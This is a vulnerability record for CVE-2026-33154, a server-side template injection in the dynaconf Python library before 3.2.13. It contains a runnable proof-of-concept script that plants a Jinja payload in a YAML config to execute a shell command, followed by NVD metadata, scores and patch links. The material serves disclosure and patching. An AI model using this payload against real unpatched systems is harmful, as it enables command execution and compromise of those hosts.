CVE-2026-33154

# Create a malicious configuration file (e.g., settings.yaml) # Content of settings.yaml: # default: # malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" # Python script to trigger the vulnerability import os # Simulate creating the malicious file with open('settings.yaml', 'w') as f: f.write("""default: malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" """) from dynaconf import Dynaconf # Load settings - this triggers the SSTI settings = Dynaconf(settings_files=['settings.yaml']) # Print the result of the executed command print(f"Command output: {settings.malicious_key}") # Clean up os.remove('settings.yaml')

{"cve": {"id": "CVE-2026-33154", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:15.740", "lastModified": "2026-04-14T18:23:14.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "dynaconf is a configuration management tool for Python. Prior to version 3.2.13, Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @Jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment. This issue has been patched in version 3.2.13."}, {"lang": "es", "value": "dynaconf es una herramienta de gestión de configuración para Python. Antes de la versión 3.2.13, Dynaconf es vulnerable a la Inyección de Plantilla del Lado del Servidor (SSTI) debido a la evaluación insegura de plantillas en el resolvedor @Jinja. Cuando el paquete jinja2 está instalado, Dynaconf evalúa expresiones de plantilla incrustadas en valores de configuración sin un entorno aislado. Este problema ha sido parcheado en la versión 3.2.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dynaconf:dynaconf:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.13", "matchCriteriaId": "33420500-478D-4250-B4F3-04E25B99BC2F"}]}]}], "references": [{"url": "https://github.com/dynaconf/dynaconf/commit/2fbb45ee36b8c0caa5b924fe19f3c1a5e8603fa7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dynaconf/dynaconf/releases/tag/3.2.13", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}